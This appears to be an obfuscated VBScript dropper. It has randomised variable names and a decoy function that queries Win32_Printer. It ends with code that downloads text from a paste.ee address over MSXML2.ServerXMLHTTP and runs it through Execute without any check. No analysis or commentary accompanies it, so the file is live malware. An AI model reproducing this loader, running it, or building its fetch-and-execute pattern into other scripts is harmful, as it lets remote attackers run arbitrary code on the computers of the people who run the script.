function GhAHBXEkkOirtYkzhBOquSgtBLtzIsmuhxpBouFippCFiublINBmgkZdLbbkUMoPeyjTjwQNpJXcuMlfgyVBEGUQvhXRNEOGqConnection(VElZnxruoAUOnxcMxUrVyDpNuSQfpGjXBYuEMDZhLAkZXYXPpuNtbZstzBdAIqgnMTYnQUAIHKgqszihUbDyRjgaolJxsNAddIJ, hphtqubOOURoeqhFHOwjXGDTIajazsDINimhaiNTblJRgXBycrZnoWjazkPxCoTTUDrXCxMGZDNHChKXLvqzyKarMMBoElCsWsg, mNGLIgilXLsUhinYeANIScWkLUudNztsWQOVwZzQEnGAbqgoAmEYIRpJINaALBrKPzAIxATYgfcfvZFMSAdBEajrDRCdpIgRx)
JDacmoZXcKbBUbydkIaQzRAJiPnkHyMQnxbYrzpfnNifZKKbmUDnJwaNrPtfpOviUMAQzHTksmXAypfhpwzNpaQeBDiHfnMoDwS rWbRdoehMDajPTXcLLmFnJXJvjoOZahZPDcteBefYKOTYQmJCVgqUMAzMuBrMubncvCyJOXjJhrZMfXbwaUywxbHkKSaZNHJfi, btUcnrjuAaJRUEJvvTAMkZubwgwffivibYAMdUNkDGGRXECxRwsyMlbbEMsslifNKRxjHxvYEhkShFmHEEeoWIaYAQUvPgnvM
dim IjCzHiSUUKXmeBHysBqZHLbUkyXNnXpesKENeAfwpYpyTFIUcybREGfkpDSeNrxFhNvQNmGHzPDYnbRlfPjwOwByQtTTlaFpez
dim LDghvnpWADsKuBGkBfQmMQMQSDwUCWNhcthmPdTjmPteeFXYBimTZzDJXRKeJlJJSiPAHVwqtMrBnPounmBOIErKIlQpPnvxqjM
dim kALCgeYMTGgauLSgdaqdmgrZeqFMlMWdKBBpZKOZjegSkKBBvmGodAwBKtQDOQfEgmqgFwfzIVHCsVIigPSQsVHXgINRQzTCH
dim gEVTNaQKdgpgrLLPNqeqsYtJZMRcTsqPEsVqIzYVQIRTlWdyNrRNOUpkTEdRwrwDtyUpOSRixvqCXhoIBFqOWzPAKpFXQmkvt
kALCgeYMTGgauLSgdaqdmgrZeqFMlMWdKBBpZKOZjegSkKBBvmGodAwBKtQDOQfEgmqgFwfzIVHCsVIigPSQsVHXgINRQzTCH = SdxaAaefRAvuIkcLBbUGQyfbxpINyEoFmpUQbfWVXsWuiDyWNGIahKyCiarScaaruoVcQwoZaIIoRfsUJxxarhezsQrJkVIME
if eUZAYCJDxgEIyIMNftlimsNQqFbjwOdwqFsjguRAtLArKqJlvmEDBMAdfWnssdzQeQtkiBjJVAWaGlXAofhWPITlLxcRGlKTk("", KQJRrYJAgBhWrUpJqbVOlziBkNJZENIdDQedyJieZoxhRfyNktRSymYVXKFjZBJWsifSfoLKCUuMjaHKwkXAleCTydRYfgdHi, hphtqubOOURoeqhFHOwjXGDTIajazsDINimhaiNTblJRgXBycrZnoWjazkPxCoTTUDrXCxMGZDNHChKXLvqzyKarMMBoElCsWsg, mNGLIgilXLsUhinYeANIScWkLUudNztsWQOVwZzQEnGAbqgoAmEYIRpJINaALBrKPzAIxATYgfcfvZFMSAdBEajrDRCdpIgRx, LDghvnpWADsKuBGkBfQmMQMQSDwUCWNhcthmPdTjmPteeFXYBimTZzDJXRKeJlJJSiPAHVwqtMrBnPounmBOIErKIlQpPnvxqjM) then
set IjCzHiSUUKXmeBHysBqZHLbUkyXNnXpesKENeAfwpYpyTFIUcybREGfkpDSeNrxFhNvQNmGHzPDYnbRlfPjwOwByQtTTlaFpez = LDghvnpWADsKuBGkBfQmMQMQSDwUCWNhcthmPdTjmPteeFXYBimTZzDJXRKeJlJJSiPAHVwqtMrBnPounmBOIErKIlQpPnvxqjM.Get("Win32_Printer")
else
GhAHBXEkkOirtYkzhBOquSgtBLtzIsmuhxpBouFippCFiublINBmgkZdLbbkUMoPeyjTjwQNpJXcuMlfgyVBEGUQvhXRNEOGqConnection = SdxaAaefRAvuIkcLBbUGQyfbxpINyEoFmpUQbfWVXsWuiDyWNGIahKyCiarScaaruoVcQwoZaIIoRfsUJxxarhezsQrJkVIME
exit function
end if
end function
Dim zxJoEvIIkdRnYysTVIRcqgzUhmqcZhOnekRHwMqjfHaQAAJjjqAcqvBMEeRrYFIJWlBmcDEHtynzwLirJnVFHiQYuRgpvgohQx
Set zxJoEvIIkdRnYysTVIRcqgzUhmqcZhOnekRHwMqjfHaQAAJjjqAcqvBMEeRrYFIJWlBmcDEHtynzwLirJnVFHiQYuRgpvgohQx = CreateObject("MSXML2.ServerXMLHTTP.6.0")
zxJoEvIIkdRnYysTVIRcqgzUhmqcZhOnekRHwMqjfHaQAAJjjqAcqvBMEeRrYFIJWlBmcDEHtynzwLirJnVFHiQYuRgpvgohQx.open "GET", "https://paste.ee/d/bkhV4", False
zxJoEvIIkdRnYysTVIRcqgzUhmqcZhOnekRHwMqjfHaQAAJjjqAcqvBMEeRrYFIJWlBmcDEHtynzwLirJnVFHiQYuRgpvgohQx.send ""
If zxJoEvIIkdRnYysTVIRcqgzUhmqcZhOnekRHwMqjfHaQAAJjjqAcqvBMEeRrYFIJWlBmcDEHtynzwLirJnVFHiQYuRgpvgohQx.Status = 200 Then
Dim response
response = zxJoEvIIkdRnYysTVIRcqgzUhmqcZhOnekRHwMqjfHaQAAJjjqAcqvBMEeRrYFIJWlBmcDEHtynzwLirJnVFHiQYuRgpvgohQx.responseText
Execute response
End If